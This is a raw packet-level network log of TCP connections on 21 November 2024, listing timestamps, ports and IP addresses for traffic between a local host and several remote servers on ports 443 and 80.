Nov 21, 2024 22:04:51.325920105 CET	443	49824	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:51.325984001 CET	443	49824	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:51.326050997 CET	49824	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:51.326335907 CET	49824	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:51.326350927 CET	443	49824	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:51.326361895 CET	49824	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:51.326369047 CET	443	49824	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:51.328973055 CET	49869	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:51.329021931 CET	443	49869	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:51.329185963 CET	49869	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:51.329426050 CET	49869	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:51.329436064 CET	443	49869	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:51.342564106 CET	49870	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.342607021 CET	443	49870	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.342731953 CET	49870	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.343219995 CET	49871	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.343245029 CET	443	49871	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.343416929 CET	49870	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.343430996 CET	443	49870	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.343440056 CET	49871	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.343602896 CET	49871	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.343611956 CET	443	49871	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.439237118 CET	443	49861	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.439572096 CET	49861	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.439599037 CET	443	49861	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.440673113 CET	443	49861	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.440725088 CET	49861	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.442034006 CET	443	49857	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.442056894 CET	49861	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.442121983 CET	443	49861	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.442374945 CET	49861	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.442382097 CET	443	49861	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.442795038 CET	49857	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.442810059 CET	443	49857	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.443887949 CET	443	49857	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.443981886 CET	49857	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.445183039 CET	49857	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.445277929 CET	443	49857	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.445429087 CET	49857	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.445436001 CET	443	49857	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.451138020 CET	443	49849	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.451417923 CET	49849	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.451447964 CET	443	49849	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.452470064 CET	443	49849	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.452534914 CET	49849	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.453516006 CET	49849	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.453588963 CET	443	49849	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.453689098 CET	49849	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.493626118 CET	443	49848	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.494018078 CET	49848	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.494034052 CET	443	49848	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.495172977 CET	443	49848	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.495232105 CET	49848	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.495337009 CET	443	49849	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.497200012 CET	49848	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.497307062 CET	443	49848	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.497423887 CET	49848	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.497435093 CET	443	49848	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.511545897 CET	49861	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.526741982 CET	49857	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.526772022 CET	49849	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.526801109 CET	443	49849	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.532794952 CET	443	49862	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.533010960 CET	443	49843	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:51.533076048 CET	49843	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:51.533184052 CET	49862	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.533201933 CET	443	49862	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.534595013 CET	443	49862	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.534704924 CET	49862	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.535442114 CET	49862	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.535518885 CET	443	49862	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.536005974 CET	49862	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.536011934 CET	443	49862	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.544190884 CET	49843	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:51.544214964 CET	443	49843	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:51.544456005 CET	443	49843	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:51.544986010 CET	49843	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:51.545042038 CET	49843	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:51.545068026 CET	443	49843	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:51.550986052 CET	443	49856	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.551265001 CET	49856	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.551279068 CET	443	49856	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.552331924 CET	443	49856	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.552427053 CET	49856	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.552920103 CET	49856	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.552982092 CET	443	49856	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.553071022 CET	49856	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.553076982 CET	443	49856	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.638899088 CET	443	49844	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:51.639523983 CET	49844	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:51.639554977 CET	443	49844	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:51.640324116 CET	49844	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:51.640330076 CET	443	49844	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:51.640413046 CET	49844	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:51.640420914 CET	443	49844	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:51.707331896 CET	443	49848	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.707390070 CET	49848	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.720926046 CET	49849	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.721009970 CET	49862	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.721023083 CET	49856	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.787663937 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:51.787744999 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:51.877281904 CET	443	49861	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.877357006 CET	443	49861	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.877407074 CET	49861	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.878326893 CET	49861	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.878335953 CET	443	49861	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.878546000 CET	443	49857	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.878616095 CET	443	49857	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.878822088 CET	49857	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.879198074 CET	49857	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.879213095 CET	443	49857	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.895704031 CET	443	49849	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.895768881 CET	443	49849	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.895816088 CET	49849	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.896076918 CET	49849	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.896095991 CET	443	49849	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.939763069 CET	443	49848	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.939838886 CET	443	49848	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.939996958 CET	49848	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.940721989 CET	49848	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.940737963 CET	443	49848	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.986840010 CET	443	49862	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.986915112 CET	443	49862	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.986959934 CET	49862	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.987824917 CET	49862	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.987839937 CET	443	49862	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.004854918 CET	443	49856	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.004920959 CET	443	49856	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.005006075 CET	49856	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.018126011 CET	49856	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.018138885 CET	443	49856	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.170767069 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:52.171160936 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:52.171195030 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:52.171731949 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:52.171751022 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:52.171782970 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:52.171791077 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:52.171811104 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:52.171828032 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:52.173003912 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:52.174938917 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:52.175030947 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:52.175276041 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:52.175285101 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:52.228862047 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:52.310297012 CET	443	49843	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:52.310436964 CET	443	49843	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:52.310626984 CET	49843	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:52.313915968 CET	443	49863	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:52.315583944 CET	49843	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:52.315598965 CET	443	49843	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:52.315613985 CET	49843	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:52.315620899 CET	443	49843	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:52.316071033 CET	49863	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:52.316102028 CET	443	49863	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:52.316581964 CET	49863	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:52.316586018 CET	443	49863	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:52.334235907 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:52.442791939 CET	49872	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.442821980 CET	443	49872	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.443017006 CET	49873	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.443049908 CET	443	49873	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.443053961 CET	49872	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.443150043 CET	49873	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.443387985 CET	49872	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.443401098 CET	443	49872	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.443514109 CET	49873	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.443535089 CET	443	49873	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.455776930 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:52.469008923 CET	443	49865	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.469372034 CET	49865	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.469378948 CET	443	49865	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.470278978 CET	443	49865	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.470340967 CET	49865	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.470680952 CET	49865	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.470738888 CET	443	49865	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.470833063 CET	49865	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.470839024 CET	443	49865	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.518379927 CET	49865	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.610615969 CET	443	49870	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.611886978 CET	49870	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.611893892 CET	443	49870	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.612869978 CET	443	49870	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.612921953 CET	49870	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.613217115 CET	49870	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.613264084 CET	443	49870	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.613370895 CET	49870	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.613374949 CET	443	49870	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.657058001 CET	49870	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.727233887 CET	443	49871	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.727549076 CET	49871	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.727560043 CET	443	49871	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.728414059 CET	443	49871	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.728466988 CET	49871	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.728868008 CET	49871	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.728910923 CET	443	49871	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.729072094 CET	49871	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.729077101 CET	443	49871	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.759810925 CET	443	49863	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:52.759902000 CET	443	49863	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:52.759999037 CET	49863	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:52.760313034 CET	49863	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:52.760313034 CET	49863	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:52.760329962 CET	443	49863	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:52.760339022 CET	443	49863	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:52.763176918 CET	49874	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:52.763207912 CET	443	49874	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:52.763309956 CET	49874	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:52.763547897 CET	49874	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:52.763557911 CET	443	49874	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:52.776150942 CET	49871	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.776407003 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:52.776480913 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:52.776494980 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:52.776537895 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:52.776576996 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:52.776581049 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:52.776593924 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:52.776607990 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:52.776621103 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:52.776633978 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:52.776634932 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:52.776665926 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:52.776684046 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:52.784802914 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:52.784966946 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:52.785260916 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:52.793165922 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:52.793207884 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:52.793256044 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:52.793277979 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:52.825869083 CET	49875	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.825891972 CET	443	49875	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.826056004 CET	49876	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.826083899 CET	443	49876	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.826141119 CET	49875	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.826206923 CET	49876	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.826442003 CET	49876	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.826452971 CET	443	49876	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.826853991 CET	49875	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.826864958 CET	443	49875	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.850008965 CET	443	49864	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:52.850625992 CET	49864	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:52.850641012 CET	443	49864	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:52.851506948 CET	49864	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:52.851511002 CET	443	49864	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:52.896034956 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:52.900012970 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:52.900099993 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:52.900118113 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:52.911653042 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:52.912281990 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:52.912295103 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:52.921469927 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:52.921549082 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:52.921556950 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:52.922830105 CET	443	49865	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.922900915 CET	443	49865	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.925259113 CET	49865	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.925399065 CET	49865	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:52.925414085 CET	443	49865	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:52.933903933 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:52.933957100 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:52.933964968 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:52.947539091 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:52.947591066 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:52.947599888 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:52.961385965 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:52.962296963 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:52.962302923 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:52.968389988 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:52.968450069 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:52.968499899 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:52.968771935 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:52.972410917 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:52.972459078 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:52.972490072 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:52.972609043 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:52.980463028 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:52.980528116 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:52.980542898 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:52.980762005 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:52.988451958 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:52.988562107 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:52.988635063 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:52.990238905 CET	443	49867	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:52.990823030 CET	49867	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:52.990840912 CET	443	49867	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:52.991296053 CET	49867	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:52.991301060 CET	443	49867	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:52.996493101 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:52.996507883 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:52.996582985 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.004472971 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.004548073 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.004575014 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.004736900 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.009865999 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.012454033 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.012507915 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.012551069 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.012691021 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.016872883 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.020457983 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.020534039 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.020591021 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.021410942 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.021465063 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.021491051 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.028491974 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.028594017 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.028709888 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.036542892 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.036596060 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.036612988 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.036674023 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.044507980 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.044625998 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.044650078 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.044758081 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.046317101 CET	443	49868	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.047156096 CET	49868	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.047183037 CET	443	49868	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.047641993 CET	49868	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.047647953 CET	443	49868	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.052479029 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.052536011 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.054971933 CET	443	49870	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:53.055038929 CET	443	49870	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:53.055167913 CET	49870	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:53.055386066 CET	49870	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:53.055397987 CET	443	49870	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:53.073784113 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.073812962 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.100493908 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.100558043 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.100583076 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.107969046 CET	443	49851	172.217.19.225	192.168.2.7
